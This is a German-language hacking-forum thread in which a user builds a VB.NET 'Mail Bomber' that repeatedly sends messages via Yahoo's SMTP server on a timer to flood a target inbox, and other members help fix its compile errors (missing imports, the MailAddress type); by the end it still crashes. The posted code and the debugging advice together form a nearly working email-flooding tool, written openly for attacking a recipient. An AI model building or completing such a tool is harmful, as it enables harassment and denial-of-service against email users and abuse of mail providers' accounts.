Mail Bomber

[Rapter]

Hallo,
ich hab mir vorhin einen Source Code eines MailBombers angeschaut.
Bin gerade dabei einen nachzubauen doch irgendwie klappt das nicht so recht.
Der MailBomber unterstützt bisher nur Yahoo..

Hier mal der Source Code:

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAdress(TextBox1.Text)
MyMailMessage.to.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = (TextBox5.Text)
Dim SMTPServer As New SMTPClient("smtp.mail.yahoo.de")
SMTPServer.Port = 587
SMTPServer.Credentitals = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSSl = True
Label7.Text = Val(Label7.Text + 1)
SMTPServer.Send(MyMailMessage)
End Sub
End Class

Mailmessage, MailAdresse und SMTPClient meldet er als Fehler - "nicht deklariert"..
In dem Source Code funktioniert es allerdings..

Was mache ich falsch?

[100]

Also ich bin ja mal dafür, dass das Programm nicht wissen kann was MailMessage ist.

Gehe mal davon aus, dass das eine Klasse ist, aber da du diese in dem Code da nirgendwo festlegst, woher soll das Programm wissen was MailMessage ist?

So würde ich das jedenfalls sehen ;)

[Rapter]

Das dacht ich mir bereits ^^
Komisch ist ja nur, dass der Befehl:

Dim MyMailMessage As New MailMessage

Im Source Code ebenfalls so ist.. Und dieser funktioniert

[100]

Sicher dass da nichts mehr importiert wird?

Imports System.Net.Mail oder so?

[Rapter]

Ahhh..
Jetzt, ich hab's übersehn..
Ganz oben war's noch extra:
Imports System.Net.Mail

Kein Wunder. :)
Dankeschön, ich werd mal testen ob's nun so klappt..

[100]

Ja du musst halt immer schauen.. wenn eine Klasse nicht definiert oder importiert wird, kann das Programm auch kein neues Objekt der Klasse erstellen ;)

[Rapter]

Gut, hab das nur übersehen. :)

Hab jetzt gerade mal gegoogelt und den Code ein Wenig überarbeitet:


Imports System.Net.Mail
Imports System.Net


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = MailAddress(Textbox1.Text)
MyMailMessage.to.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = (TextBox5.Text)
Dim MyClient As New Net.Mail.SmtpClient("smtp.mail.yahoo.de")
MyClient.Port = 587
MyClient.Credentials = New NetworkCredential(TextBox1.Text, TextBox2.Text)
MyClient.EnableSsl = True
Label7.Text = Val(Label7.Text + 1)
MyClient.Send(MyMailMessage)
End Sub
End Class
Soweit wird auch alles "erkannt".
Das Ein zigste was er noch nicht nimmt ist dieser Befehl:
MyMailMessage.From = MailAddress(Textbox1.Text)

Hab schon viele Varianten jetzt durchprobiert, geht aber nicht.
Woran liegt das?

[100]

Ohne MailAdress sondern direkt den Textinhalt zuweisen?
Steht ja schließlich alles drin..

[gORDon_vdLg]

btw. wie wärs wenn man den smtp einfach nicht fest einbindet sondern vom user über n textfeld oder so wählen lässt? ist doch schwachsinnig so wie es da ist :D

[Rapter]

MyMailMessage.From = (TextBox1.Text)

So nimmt er's auch nicht..

Der Wert vom Typ "String" kann nicht in "System.Net.Mail.MailAddress" konvertiert werden.


@gORDon_vdLg (http://free-hack.com/member.php?u=37037)
Jap, aber ich wollte eigentlich nur mal das Prinzip verstehen.
Ausbauen kann ichs immer noch

[100]

Habs ma ausprobiert
MyMailMessage.From = New MailAddress("peter@web.de")

[Rapter]

So, jetzt funktioniert's. :)
Mal testen ob das Tool nun auch Mails sendet.
Danke 100 :)

[100]

Ich weiß, niemand mag dicke Bücher aber das gibts auch handlich^^
http://msdn.microsoft.com/en-us/library/system.net.mail.mailaddress.aspx

[Rapter]

Hmm, irgendwie sendet er nichts und das Programm stürzt ab. :D
Naja, ich werd mich nachher nochmal dransetzen und mal rum testen.
Nochmals danke an alle.

[krusty]

dann poste doch mal den fehler, haste den smtp server & port immer agepasst ?